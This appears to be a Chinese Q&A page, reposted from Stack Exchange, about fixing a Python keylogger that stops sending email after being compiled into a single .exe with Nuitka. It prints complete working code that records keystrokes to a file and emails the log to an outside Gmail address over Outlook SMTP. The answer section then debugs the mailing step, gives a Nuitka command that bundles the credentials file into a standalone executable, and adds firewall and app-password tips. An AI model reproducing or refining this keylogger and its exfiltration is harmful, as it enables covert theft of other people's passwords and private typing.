You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

使用Nuitka编译的Python键盘记录器.exe无法发送邮件的解决方法

解决Nuitka编译键盘记录器后无法发送邮件的问题

问题描述

我开发了一款可捕获按键并将记录文件发送至指定邮箱的Python键盘记录器。在VS Code终端运行脚本时功能完全正常,但使用Nuitka将文件编译为独立单文件.exe后,双击运行该程序可正常捕获按键,却无法发送邮件。

相关代码

主脚本代码

from pynput.keyboard import Listener, Key
from decrypt import decrypt                                          
from encrypt import encrypt
from sendoulook import send_mail
import sys
import os

# 获取程序运行的实际目录
if getattr(sys, 'frozen', False):
    current_dir = os.path.dirname(sys.executable)
else:
    current_dir = os.path.dirname(os.path.abspath(__file__))
log_path = os.path.join(current_dir, "log.txt")

decrypt()                                                           

count = 0

def on_press(key):
    global count
    letter = str(key)
    letter = letter.replace("'"," ") 
    special_keys(letter)
    count += 1
    if count == 10000000:
        return False

def special_keys(letter):
    if letter == "Key.space":
        letter = " "

    if letter == "Key.enter":
        letter = "\n"

    if letter.find("Key") == -1:
        with open(log_path,"a") as f:
            f.write(letter)
        
   

def on_release(key):
    if key == Key.esc:
        with open(log_path,"a") as f:
            f.write("\n")
        return False
        

with Listener(on_press=on_press, on_release=on_release) as l:
    l.join()


encrypt()                                      

try:
    if __name__ == "__main__":
        send_mail(log_path)  # 传递日志路径

except Exception as error:
    print(f"执行错误: {error}")

send_mail()函数代码

import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email import encoders
from decouple import config
from retry import retry
import os


@retry((Exception), tries=3, delay=2,backoff=2)         
def send_mail(log_path):
    try:
        fromaddr = "example@outlook.com"
        toaddr = "example@gmail.com"
        password = config("PASS")

        msg = MIMEMultipart()           
        msg["From"] = fromaddr         
        msg["To"] = toaddr
        msg["Subject"] = "Keylog Strokes"

        body = "This file contains the recorded keystrokes."
        msg.attach(MIMEText(body,"plain"))     

        filename = os.path.basename(log_path)
        attachment = open(log_path,"rb")

        p = MIMEBase("application","octet-stream")    
        p.set_payload((attachment).read())   
        encoders.encode_base64(p)       
        p.add_header("Content-Disposition",f"attachment;filename={filename}")  
        msg.attach(p)       

        s = smtplib.SMTP("smtp.office365.com",587)   
        s.starttls()     
        s.login(fromaddr,password)     
        text = msg.as_string()         
        s.sendmail(fromaddr,toaddr,text)
        s.quit()  # 修复:添加括号执行退出方法
        attachment.close()
    except Exception as e:
        # 将错误写入日志方便排查
        with open(log_path, "a") as f:
            f.write(f"\n邮件发送错误: {str(e)}\n")
        raise  # 抛出异常触发重试

原Nuitka编译命令

python -m nuitka --mingw64 main.py --standalone --onefile

解决办法

1. 修复路径问题

编译为单文件后,程序会临时解压到系统临时目录,原相对路径会失效。通过sys.frozen判断编译状态,获取正确的运行目录,确保日志文件路径可被正确访问(已在修改后的代码中实现)。

2. 修正send_mail中的判断逻辑

删除原代码中if __name__ == "sendoutlook":的判断,编译后模块名称会发生变化,导致该逻辑无法执行,直接执行邮件发送代码即可。

3. 打包必要的数据文件

如果使用.env文件存储密码,编译时需要显式指定打包该文件,否则编译后的exe无法读取密码。在编译命令中添加--include-data-file=.env=.env。

4. 显式指定依赖模块

确保所有邮件相关的模块被Nuitka正确打包,在编译命令中添加--include-module参数指定依赖。

5. 修复SMTP退出方法调用

原代码中s.quit缺少括号,导致SMTP连接未正确关闭,改为s.quit()。

优化后的编译命令

python -m nuitka --mingw64 main.py --standalone --onefile --include-data-file=.env=.env --include-module=smtplib,email.mime.multipart,email.mime.text,email.mime.base,email.encoders,decouple,retry,pynput.keyboard

额外排查点

  • 检查防火墙是否允许编译后的exe访问网络;
  • 如果Outlook账号开启两步验证,需生成应用专用密码替换原密码;
  • 代码中已添加错误日志输出,可通过日志文件定位具体的发送失败原因。

内容的提问来源于stack exchange,提问作者Ogujiuba-Henry

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.08.11 23:45:54